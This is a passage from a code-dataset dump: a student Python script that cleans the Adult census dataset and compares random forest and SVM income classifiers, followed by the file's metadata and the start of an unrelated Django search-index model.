print('{0} rows x {1} columns'.format(len(df),len(df.columns)))\n print('--> {0} rows have missing values'.format(missing_rows_ct))\n print('--> {0} rows are duplicates'.format(dupcount))\n \n # If a dependent variable is provided, provide measurements against that variable.\n if dv != None:\n # If the dv is categorical, get percentages matching each category.\n if df[dv].dtype == 'object':\n \n print('--> Dependent Variable Values:')\n \n # get count of unique values in dependent variable column\n cat_list = df[dv].unique()\n \n # Get count of the number of unique items.\n unique_items_count = len(cat_list)\n\n # Calculate prpoportion for each unique dependent variable value.\n for i in range(0, unique_items_count):\n # Use i to pull each item from list of items.\n category = cat_list[i]\n \n # Get number of items that match that value of the dependent variable\n category_count = len(df[(df[dv] == category)])\n \n # For each category the percent of values where the column value matches that category.\n category_prop = category_count / len(df)\n \n print(' {0} = {1} : {2}'.format(dv, category, category_prop))\n \n # I will add code for numerical dependent variables later if the need arises.\n else:\n pass\n\n return info\n\n########### CLEAN DATA, REMOVE WHITESPACE AND REMOVE UNNECESSARY COLUMNS ###############\n\n# Remove whitespace everywhere in df.\ndef remove_whitespace(df):\n \"\"\"Remove all whitespace from all cells and columns in the DataFrame.\"\"\"\n df_obj = df.select_dtypes(['object'])\n df[df_obj.columns] = df_obj.apply(lambda x: x.str.strip())\n return df\n\ndf = remove_whitespace(df)\n\n# Since ' ?' is being used as a placeholder, let's remove entries with ?s in them.\n# Thank you stack overflow for helping with me with this line (see citation at the bottom of script)\ndf = df[(df != '?').all(axis=1)]\n\n# education-num is NOT referring to number of years of schooling - it is just a number code for education column.\n# Since the education column already has these values decoded, let's drop the education-num column.\ndf = df.drop(['education-num'], axis=1)\n\n# Let's look at the scatter matrix first to get a sense of the big picture.\nscatter_matrix(df,figsize= (10,10))\n\n# Convert DataFrame to json.\noutfile = df.to_json(path_or_buf=None, orient='records', index=True)\n\n# Save the raw dataset to disk.\nwith open('adult_raw.json', 'w') as f:\n f.write(outfile)\n \n\n############ LOAD DATA ################################################\n# Load dataset from disk into DataFrame.\ndf = pd.read_json('adult_raw.json', orient='columns'\n 'records', convert_axes=True, convert_dates=True, keep_default_dates=True,\n numpy=False, precise_float=False, date_unit=None, encoding=None)\n\n\n########### REMOVE OUTLIERS AND REVIEW DISTRIBUTIONS #######################\n\n# See what dataset looks like with question marks and whitespace removed.\ndf_info(df)\n\n# Education-num, and hours per week both look normally distributed. There are a few outliers skewing the age distribution that may also\n# be concealing a normal distrubtion. Lets remove them and see what happens.\n\ndef replace_outliers(df, field, placeholder='median'):\n \"\"\"Remove the outliers from a coulumn in a dataframe, using the instructions provided\n in the dictionary. \n * Note that the data atrophy that can add up if you use this function multiple times.\"\"\"\n\n # Start values replaced counter.\n replaced_count = 0\n \n # Get initial length of datset before processing.\n initial_length = len(df)\n\n # Extract the numeric field from the dataframe, getting the column name from the dict.\n series = df[field]\n \n # Get upper limit by adding the mean + 2 standard deviations.\n upper_limit = np.mean(series) + 2*np.std(series)\n\n # Get the lower limit by subtracting two standard deviations from the mean.\n lower_limit = np.mean(series) - 2*np.std(series)\n \n # Flag entries with value above upper_limit and count them.\n high_outliers = df.loc[:, field] > upper_limit\n \n # Flag low outliers with values below lower_limit and count them.\n low_outliers = df.loc[:, field] < lower_limit\n \n # Valid entries is the complement of outliers\n valid_entries = ~(high_outliers | low_outliers)\n \n # If the user specifies to use the median, calculate the placeholder value from the median.\n if placeholder == 'median':\n repl = np.median(series)\n \n # If the user specifies to use the mean, use the valid entries to calculate the mean for the placeholder.\n if placeholder == 'mean':\n repl = np.mean(df.loc[valid_entries, field])\n\n # Replace both high and low outliers with placeholder value.\n replaced_count += df.loc[high_outliers, field].count()\n df.loc[high_outliers, field] = repl\n \n replaced_count += df.loc[low_outliers, field].count()\n df.loc[low_outliers, field] = repl \n \n replaced_portion = replaced_count/initial_length\n print('{0} outliers removed ({1})'.format(replaced_count, replaced_portion))\n \n # Return the DataFrame with the outliers removed.\n return df\n\n# Run function to remove outliers from age field.\ndf = replace_outliers(df, 'age')\n\n# Remove outliers from census weights field and see what happens\ndf = replace_outliers(df, 'fnlwgt')\n\nplt.hist(df['fnlwgt'])\n# Looks like with outliers removed, census weights are normally distributed. The data loss\n# is a little less than 4% of the remaining data\nplt.show()\n\nscatter_matrix(df,figsize= (10,10))\n\n########### CREATE Z SCALER FUNCTION (WILL RUN LATER) ################\ndef batch_zscaler(data, column_list):\n \"\"\" Run SKL Standard Scaler to z normalize a list of columns.\n Inputs:\n - data (a dataframe)\n - column_list (a list of strings specifying the columns to normalize)\"\"\"\n for col in column_list:\n # Now that the outliers are removed from the age column, the age column looks normally distributed.\n # Let's make a z-score column for the age attribute.\n col_values = data[col]\n\n # Reshape the column values array\n col_values_reshaped = col_values.values.reshape(-1,1)\n\n # Fit z scaler according to values in column.\n standardization_scale = StandardScaler().fit(col_values_reshaped)\n\n # Transform values according to z-scaler \n data[col] = standardization_scale.transform(col_values_reshaped)\n \n return data\n\n########### STEP 6: BIN HOURS PER WEEK INTO CATEGORICAL VARIABLES ##################\n\ndef bin_numeric(x, bin_count): # data = data array, bounds = boundaries array\n \"\"\"Take an array with the data and an array with the bin boundaries \n and then bin the data according to the boundaries supplied\"\"\"\n \n # Get bounds of data using minimum and maximum values of data and bin count.\n bounds = np.linspace(np.min(x), np.max(x), bin_count + 1) \n \n # Get number of bins\n bounds_count = len(bounds) \n \n # Get length of the array to be binned.\n array_length = len(x)\n \n # Create empty integer array to store the bin numbers (output)\n y = np.empty(array_length, int) \n \n # For each boundary, tag the data within each boundary, iterating \n # until all boundaries are tagged.\n for i in range(1, bounds_count): \n # If the data is greater than the bound of bin i-1 and less \n # than the upper bound of bin i, set the bin to i\n y[(x >= bounds[i-1]) & (x < bounds[i])] = i \n \n # If the value of x is right on the borderline of one of the bounds, bin it in the bound below it.\n y[x == bounds[-1]] = bounds_count - 1 \n\n # Return the array of the bounds correspoding to each value in the array.\n return y\n\n# Pull the data from the column into a variable.\nhours = df['hours-per-week']\nhours_vals = hours.values\n\n# The hours per week range from 0 - 100. Let's bin it into 9 bins.\nx_binned = bin_numeric(hours_vals, 9)\n\n# Store the hours category in a new column in the DataFrame.\ndf['hours_cat'] = x_binned\n\n# Rename categories to reflect approximate boundaries. Note that these boundaries are not exact since the boundaries are not exact integers.\ndf.loc[df.loc[:, \"hours_cat\"] == 1, \"hours_cat\"] = \"works-0-11h\"\ndf.loc[df.loc[:, \"hours_cat\"] == 2, \"hours_cat\"] = \"works-12-22h\"\ndf.loc[df.loc[:, \"hours_cat\"] == 3, \"hours_cat\"] = \"works-23-34h\"\ndf.loc[df.loc[:, \"hours_cat\"] == 4, \"hours_cat\"] = \"works-34-45h\"\ndf.loc[df.loc[:, \"hours_cat\"] == 5, \"hours_cat\"] = \"works-45-55h\"\ndf.loc[df.loc[:, \"hours_cat\"] == 6, \"hours_cat\"] = \"works-55-66h\"\ndf.loc[df.loc[:, \"hours_cat\"] == 7, \"hours_cat\"] = \"works-66-77h\"\ndf.loc[df.loc[:, \"hours_cat\"] == 8, \"hours_cat\"] = \"works-77-88h\"\ndf.loc[df.loc[:, \"hours_cat\"] == 9, \"hours_cat\"] = \"works-88-100h\"\n\n############ STEP 7: PROCESS ADDITIONAL CATEGORICAL VARIABLES AND CREATE DUMMY VARIABLES\n\n# Judging from the info output, many of the missing fields in workclass are also missing occupation fields.\n# Since I anticipate these fields are going to be very important for the model, let's drop the missing entries in workclass\ndf = df[pd.notnull(df['occupation'])]\n\n# Looks like removing this field removed all but about 500 the missing entries, which is convenient.\n# Since we have a dense dataset, let's take a closer look at these missing entries.\nmissing = df[pd.isnull(df['native-country'])]\n\n# With an excption of some outliers in the capital-gains and capital-losses attributes, these values appear to be similarly distributed\n# to the population. These account for around 2% of the dataset.\n\n# If I worked at the census, I would ask a domain expert what their \n# sense of who these people might be. Let's say I was told they are\n# mostly Americans.\ndf.loc[df.loc[:, \"native-country\"].isna(), \"native-country\"] = ' United-States'\n\n# Create column categorizing whether indidivual is employed by the government.\ngovt_cats = [\"Federal-gov\", 'Local-gov', 'State-gov']\ndf.loc[df['workclass'].isin(govt_cats), 'is_govt_emp'] = 1\ndf.loc[~df['workclass'].isin(govt_cats), 'is_govt_emp'] = 0\n\n# Create column categorizing whether indidivual is self-employed.\nself_emp_cats = ['Self-emp-not-inc', 'Self-emp-inc']\ndf.loc[df['workclass'].isin(self_emp_cats), 'self_emp'] = 1\ndf.loc[~df['workclass'].isin(self_emp_cats), 'self_emp'] = 0\n\n# Since there are tons of different values for native country, this might slow down the algorhythum, so lets encode the variable \n# into a boolean column for whether the individal is an immigrant.\ndf[\"is-immigrant\"] = (df['native-country'] != \" United-States\").astype(int)\n\n# Let's drop country of origin. Since we have a saved copy we can bring it back later if necessary.\ndf = df.drop(['native-country'],axis=1)\n\n# View the dataset after changes were made.\ninfo = df_info(df, 'income_cat')\nprint(info)\n\n# Select columns to encode with dummies. \n# Format is 'column_name' : drop?\ndummycols = {'sex' : True,\n 'income_cat': True,\n 'hours_cat' : True,\n 'education' : True,\n 'marital-status' : True,\n 'occupation' : True,\n 'race' : True,\n 'relationship' : True,\n 'workclass' : True}\n\ndef make_dummies(df, colinfo):\n \"\"\"Use instructions from user-supplied dictionary to create category \n dummy columns in a dataframe.\"\"\"\n for key, value in colinfo.items():\n \n # Get column name from dict.\n colname = key\n \n # Get boolean instruction on whether to drop obsolete columns from dict.\n drop = value\n \n # Get list of unique items in the selected column. \n unique_items = df[colname].unique()\n \n # Get count of the number of unique items.\n unique_items_count = len(df[colname].unique())\n \n # For all but 1 of the unique items, \n for i in range(1, unique_items_count):\n # Use i to pull each item from list of items.\n item = unique_items[i]\n \n # Remove spaces from item string so that column name is neater.\n item.strip()\n \n # Generate column name from item name and build column with boolean value.\n df.loc[:, \"is_{0}\".format(item)] = (df.loc[:, colname] == item).astype(int)\n \n # If user wants to drop the obsolete column, drop it.\n if drop == True:\n df = df.drop([colname],axis=1)\n \n # If user does not want to drop obsolete column, pass.\n if drop == False:\n pass\n \n # Return modified DataFrame\n return df\n \ndf2 = make_dummies(df, dummycols)\n\nwk = df['workclass'].values\nprint(wk)\n\n# Let's see what the DataFrame looks like now.\nprint(df2[:5])\n\ninfo2 = df_info(df2)\n\nprint(df2.columns)\n\n## SAVE DATASET TO DISK\ndf2.to_csv('Berkowitz-M02-Dataset.csv', header = True)\n\n################ DEFINE HELPER FUNCTIONS FOR RESULTS ANALYSIS ###############\n\ndef feature_importance(model, X_train):\n \"\"\"Plot importances for each feature in a given model.\n Inputs: Model and Training Data\n Outputs: Plotted feature importances\"\"\"\n \n # Pull feature labels from the training data.\n feat_labels = X_train.columns\n \n # Pull importances array from the selected model object.\n importances = model.feature_importances_\n\n ## PLOT IMPORTANCES\n\n # Sort the importances, largest to smallest.\n indices = np.argsort(importances)[::-1]\n\n # Set figure size.\n figure(num=None, figsize=(15, 6), dpi=80, facecolor='w', edgecolor='k')\n\n # Set plot title.\n plt.title('Feature Importance')\n\n # Set bar plot.\n plt.bar(range(X_train.shape[1]), \n importances[indices],\n align='center')\n\n # Set X ticks.\n plt.xticks(range(X_train.shape[1]), \n feat_labels[indices], rotation=90)\n\n # Set X limit.\n plt.xlim([-1, X_train.shape[1]])\n\n # Show plot.\n plt.show()\n\n\ndef make_confmat(y_true, y_pred):\n \"\"\"Calculate and graph a confusion matrix based on arrays with \n true and predicted values.\"\"\"\n confmat = confusion_matrix(y_true=y_true, y_pred=y_pred)\n \n fig, ax = plt.subplots(figsize=(2.5, 2.5))\n ax.matshow(confmat, cmap=plt.cm.Blues, alpha=0.3)\n for i in range(confmat.shape[0]):\n for j in range(confmat.shape[1]):\n ax.text(x=j, y=i, s=confmat[i, j], va='center', ha='center')\n\n plt.xlabel('Predicted label')\n plt.ylabel('True label')\n\n plt.tight_layout()\n #plt.savefig('images/06_09.png', dpi=300)\n plt.show()\n \n # Show detailed statistics\n\n # Generate accuracy score from arrays of target values and actual values.\n AR = accuracy_score(y_true, y_pred)\n print(\"\\nAccuracy rate:\", AR)\n\n # Calculate error rate by subtracting accuracy score from 1.\n ER = 1.0 - AR\n print(\"\\nError rate:\", ER)\n\n # Calculate precision score from target array and values array.\n P = precision_score(y_true, y_pred)\n print (\"\\nPrecision:\", np.round(P, 2))\n\n # Calculate recall score from target array and values array.\n R = recall_score(y_true, y_pred)\n print (\"\\nRecall:\", np.round(R, 2))\n\n # Calculate F1 score from target array and values array.\n F1 = f1_score(y_true, y_pred)\n print (\"\\nF1 score:\", np.round(F1, 2))\n\ndef plot_auc(targets, predictions, LW = 1.5, LL = 'lower right', LC = 'darkgreen'):\n \"\"\"Plot AUC to show model preformance.\n Inputs: \n targets = 1D Numpy array with prediction targets.\n predictions = 1D Numpy array with predictions.\n Variables customizing graph appearance (optional)\n Outputs:\n True Positive Rates (TPR)\n AUC calculation.\n Plot of the ROC curve.\n \"\"\"\n LW = LW # line width for plots\n LL = LL # legend location\n LC = LC # Line Color\n\n fpr, tpr, th = roc_curve(targets, predictions) # False Positive Rate, True Posisive Rate, probability thresholds\n \n # Calculate AUC score.\n AUC = auc(fpr, tpr)\n \n # Display calculated scores, rounded to the second digit.\n print(\"\\nTP rates:\", np.round(tpr, 2))\n print(\"\\nFP rates:\", np.round(fpr, 2))\n print(\"\\nProbability thresholds:\", np.round(th, 2))\n\n # Generate figure for ROC curve.\n plt.figure()\n plt.title('Receiver Operating Characteristic curve')\n \n # Set limits to the x and y ranges to give the plot some breathing room.\n plt.xlim([0.0, 1.0])\n plt.ylim([0.0, 1.05])\n \n plt.xlabel('FALSE Positive Rate')\n plt.ylabel('TRUE Positive Rate')\n \n # Plot False Positive Rate against True Positive Rate.\n plt.plot(fpr, tpr, color=LC,lw=LW, label='ROC curve (area = %0.2f)' % AUC)\n \n # Reference line for random classifier\n plt.plot([0, 1], [0, 1], color='navy', lw=LW, linestyle='--') # reference line for random classifier\n plt.legend(loc=LL)\n plt.show()\n\n # Show rounded AUC scores using auc and roc_auc functions.\n print(\"\\nAUC score (using auc function):\", np.round(AUC, 2))\n print(\"\\nAUC score (using roc_auc_score function):\", np.round(roc_auc_score(targets, predictions), 2), \"\\n\")\n\n###################################################################################\n\n############ LOAD THE DATA ##############################\ndf = pd.read_csv('Berkowitz-M02-Dataset.csv')\n\nprint(df.columns)\n\n############ SPLIT AND SCALE THE DATA ###################\n\n## NOTE: I'm not going to normalize the age column since they have already been normalized.\n# If I were to normalize them, however, heres the code I would use.\n# # Transform values according to z-scaler and put them in new column. \n# df['znorm-age'] = standardization_scale.transform(ages_reshaped)\n####\n\n# Use list to specify columns to ignore. I'm removing the unnamed column since that's just duplicated indexes and the is 50k column\n# Since that is the target variable. Also removing hours-per-week since thats already been binned.\nexclude_cols = ['is_>50K', 'Unnamed: 0', 'hours-per-week'] \n\n# Set y to the target variable.\ny = df[\"is_>50K\"]\n\n# Set X to the dataset, with the excluded columns excluded.\nX = df.loc[:, ~df.columns.isin(exclude_cols)]\n\n# Extract features names from column titles.\nfeatures = X.columns\n\n# Split data into training and test data using 40 percent for testing.\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.40, random_state=42)\n\n# Run the Z scaler on the training data.\nX_train = batch_zscaler(X_train, ['age', 'fnlwgt'])\n\n# Run the Z scaler on the testing data.\nX_test = batch_zscaler(X_test, ['age', 'fnlwgt'])\n\n############# LOAD DATA AND RUN RANDOM FOREST MODEL ##########\n# I chose the Random Forest for several reasons. It's easy to use\n# and generally provides strong classification performance \n# with a relatively low risk of overfitting.\n\nestimators = 500 # number of trees parameter\nmss = 3 # mininum samples split parameter\n\n# Setup random forest classifier\nforest = sklearn.ensemble.RandomForestClassifier(n_estimators=estimators, min_samples_split=mss)\n\n# Train on classifier\nforest.fit(X_train,y_train)\n\n# Generate prediction on the test data\nforest_pred = forest.predict(X_test)\n\n# I'm starting to wonder if it really is a good idea to drop the census weights. \n# Get feature importance for random forest and graph them.\n\nfeature_importance(forest, X_train)\n\n# Graph Confusion Matrix\nmake_confmat(y_test, forest_pred)\n\n# Run ROC plotting function.\nplot_auc(y_test, forest_pred)\n\n# Create dataframe showing predicted values vs. actual values\npred_df = pd.DataFrame(y_test)\npred_df['prediction'] = forest_pred\n\n# The Random forest got 85 % accuracy. \n# Though the ratio of Postives to Negatives is about right, some classification errors were made.\n# About 2/3ds of the classification errors were False Negatives. This contributes to a precision score\n# of 73% that is 12% below the overall model accuracy. \n# The starting F1 score is .67, not great but it's a start.\n# I would consider just removing the census weights, but the Feature Importance appears relatively \n# high for the census weights.\n# AUC is .78, showing room for improvement.\n\n########## RUN SUPPORT VECTOR MACHINES MODEL ########\n# I chose the SVM because I suspect that the different\n# attributes of this dataset could be interrelated in ways\n# that are otherwise linearly inseperable.\n\nsvm_clf = svm.SVC()\n\n# Train on classifier\nsvm_clf.fit(X_train,y_train)\n\n# Generate prediction on the test data\nsvm_pred = svm_clf.predict(X_test)\n\n# Show model results analysis\nplot_auc(y_test, svm_pred)\nmake_confmat(y_test, svm_pred)\n\n# SVM classifier with default settings results in 87% accuracy.\n# Shows signicant imporvement in precision, contributing to better overall accuracy.\n# The model has low Reliability when predicting positive class instances, as it only discovered \n# slightly more than half of the cases where incomes were over 50k.\n# Though the SVM classifier declared roughly the same amount of false negatives as the \n# Random Forest, it was significantly better at avoiding false positives.\n# The F1 score is also better at .7.\n# The AUC score is unchanged, but the ROC curve does show a very slight improvement.\n\n##### Let's reload the data and see how the models do without the 'age' column binned.\n\n############ LOAD THE DATA ##############################\ndf = pd.read_csv('Berkowitz-M02-Dataset.csv')\n\nprint(df.columns)\n\n####### RERUN MODELS WITHOUT CATEGORICAL VARIABLES ############\n# Use list to specify columns to ignore. I'm removing the unnamed column since that's \n# just duplicated indexes and the 50k column is the target variable. \n# Also the hours-per-week bins to see how that affects performance.\nexclude_cols = ['is_>50K', 'Unnamed: 0', 'is_works-34-45h', 'is_works-45-55h',\n 'is_works-77-88h', 'is_works-23-34h', 'is_works-55-66h',\n 'is_works-66-77h', 'is_works-0-11h', 'is_works-88-100h'] \n\n# Set y to the target variable.\ny = df[\"is_>50K\"]\n\n# Set X to the dataset, with the excluded columns excluded.\nX = df.loc[:, ~df.columns.isin(exclude_cols)]\n\n############ SPLIT AND SCALE THE DATA ###################\n\n# Extract features names from column titles.\nfeatures = X.columns\n\n# Split data into training and test data using 40 percent for testing.\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.40, random_state=42)\n\n# Run the Z scaler on the training data.\nX_train = batch_zscaler(X_train, ['age', 'fnlwgt'])\n\n# Run the Z scaler on the testing data.\nX_test = batch_zscaler(X_test, ['age', 'fnlwgt'])\n\n############# LOAD DATA AND RUN RANDOM FOREST MODEL ##########\nestimators = 500 # number of trees parameter\nmss = 3 # mininum samples split parameter\n\n# Setup random forest classifier\nforest = sklearn.ensemble.RandomForestClassifier(n_estimators=estimators, min_samples_split=mss)\n\n# Train on classifier\nforest.fit(X_train,y_train)\n\n# Generate prediction on the test data\nforest_pred = forest.predict(X_test)\n\n# Get feature importance for random forest and graph them.\nfeature_importance(forest, X_train)\n\n# Graph Confusion Matrix\nmake_confmat(y_test, forest_pred)\n\n# Run ROC plotting function.\nplot_auc(y_test, forest_pred)\n\n# Create dataframe showing predicted values vs. actual values\npred_df = pd.DataFrame(y_test)\npred_df['prediction'] = forest_pred\n\n# The Random Forest model performs the roughly same in the dataset \n# without the ages binned as it does when the ages are binned. \n# The F1 score is about the same and the confusion matrix counts,\n# Precision and Recall are also largely unaffected by the bins.\n# AUC is .78, not showing a significant impact with the bins removed.\n\n########## RUN SUPPORT VECTOR MACHINES MODEL #####\nsvm_clf = svm.SVC()\n\n# Train on classifier\nsvm_clf.fit(X_train,y_train)\n\n# Generate prediction on the test data\nsvm_pred = svm_clf.predict(X_test)\n\n# Show model results analysis\nplot_auc(y_test, svm_pred)\nmake_confmat(y_test, svm_pred)\n\n# Though the SVM model performed relatively well with the age-binned dataset,\n# the lack of bins has resulted in a much higher rate of false negatives as well\n# as false positives. The F1 score of .66 is the worst of the four model/dataset \n# variants. AUC has also shown a slight negative impact, shrinking to .75.\n# This is reflected by a slight change in the curve.\n\n############## SUMMARY ##############################################\n# Cleaning and outlier removal was performed on the Census Dataset.\n# Two classifiers were tested, the Random Forest and SVM.\n# Each classifier was run on one dataset with the 'age' column binned\n# and one dataset in which the the 'age' column was numeric to test\n# the impact of the bins on each classifiers' performance.\n# The performance of the random forest model satisfactory, showing\n# 85% accuracy with both binned and non-binned datasets.\n# On the other hand, the SVM surpassed both Random Forest Classifiers\n# when the bins were added.\n\n# The SVM classifier showed the strongest performance and best fit \n# of all the models tested here when run on the binned dataset.\n# This is in contrast to the Random Forest, which did not appear\n# to be impacted by bins. This suggests that the SVM could be a very\n# practical tool for datasets where significant feature engineering\n# has been performed.\n\n# CODE REFERENCES:\n# Dictionary processing function adapted from:\n# Title: How to get the current time in Python\n# Author: TigerhawkT3\n# Date: 11/26/2017\n# Code version: N/A\n# Availability: https://stackoverflow.com/a/40823642\n\n# Flagging values in mulitple columns (answer to StackOverflow question I asked)\n# Title: Using df.loc to flag values in multiple columns at once\n# Author: coldspeed\n# Date: 2/6/2018\n# Code version: N/A\n# Availability: https://stackoverflow.com/a/54545338\n\n# Binning function adapted from:\n# Title: L06-A-1 Normalizing and Binning in Python\n# Author: Zacharias Voulgaris\n# Date: NA\n# Code version: N/A\n# Availability: Not publicly available.\n\n# Feature importance/Confusion matrix function adapted from:\n# Title: Python Machine Learning 2nd ed.\n# Author: Sebastian Rashka\n# Date: 11/19/2018\n# Available from: https://github.com/rasbt/python-machine-learning-book-2nd-edition/blob/master/code/ch04/ch04.ipynb\n\n# Confusion Matrix/ROC/AUC code adapted from:\n# Title: L09-AccuracyMeasures.py\n# Author: Zacharias Voulgaris\n# Date: NA\n# Code version: N/A\n# Availability: Not publicly available.\n", "sub_path": "class1/Berkowitz-M03-DataModelFinal.py", "file_name": "Berkowitz-M03-DataModelFinal.py", "file_ext": "py", "file_size_in_byte": 31073, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pandas.read_csv", "line_number": 24, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 27, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 30, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 67, "usage_type": "call"}, {"api_name": "pandas.DataFrame.from_dict", "line_number": 110, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 110, "usage_type": "attribute"}, {"api_name": "pandas.plotting.scatter_matrix", "line_number": 176, "usage_type": "call"}, {"api_name": "pandas.read_json", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 216, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 216, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 219, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 219, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 236, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 257, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 257, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 260, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 260, "usage_type": "name"}, {"api_name": "pandas.plotting.scatter_matrix", "line_number": 262, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 279, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 293, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 293, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 293, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 302, "usage_type": "call"}, {"api_name": "pandas.notnull", "line_number": 342, "usage_type": "call"}, {"api_name": "pandas.isnull", "line_number": 346, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 459, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 462, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 465, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 465, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 468, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 468, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 473, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 473, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 477, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 477, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 480, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 480, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 488, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 488, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 489, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 489, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 494, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 494, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 495, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 495, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 497, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 497, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 499, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 499, "usage_type": "name"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 504, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 513, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 517, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 521, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 544, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 545, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 546, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 549, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 549, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 550, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 550, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 553, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 553, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 554, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 554, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 556, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 556, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 557, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 557, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 560, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 560, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 563, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 563, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 564, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 564, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 565, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 565, "usage_type": "name"}, {"api_name": "numpy.round", "line_number": 568, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 569, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 574, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 600, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 617, "usage_type": "call"}, {"api_name": "sklearn.ensemble", "line_number": 617, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 637, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 654, "usage_type": "call"}, {"api_name": "sklearn.svm", "line_number": 654, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 678, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 702, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 715, "usage_type": "call"}, {"api_name": "sklearn.ensemble", "line_number": 715, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 733, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 743, "usage_type": "call"}, {"api_name": "sklearn.svm", "line_number": 743, "usage_type": "name"}]} {"seq_id": "186150266", "text": "from django.db import models\n\nfrom django.contrib.postgres.fields import ArrayField\nfrom django.contrib.postgres.search import SearchVector, SearchVectorField\n\nfrom regcore.models import Part\n\n\nclass SearchIndex(models.Model):\n type = models.CharField(max_length=32)\n label = ArrayField(base_field=models.CharField(max_length=32))\n content = models.TextField()\n parent = models.JSONField(null=True)\n part = models.ForeignKey(Part, on_delete=models.CASCADE)\n search_vector = SearchVectorField()\n\n class Meta:\n unique_together = ['label', 'part']\n\n\ndef create_search(part, piece, memo, parent=None, ):\n if piece.get(\"node_type\", None) == \"SECTION\":\n si = SearchIndex(\n label = piece[\"label\"],\n part = part,\n parent = piece,\n type = piece[\"node_type\"],\n content = piece.get(\"title\", piece.get(\"text\", 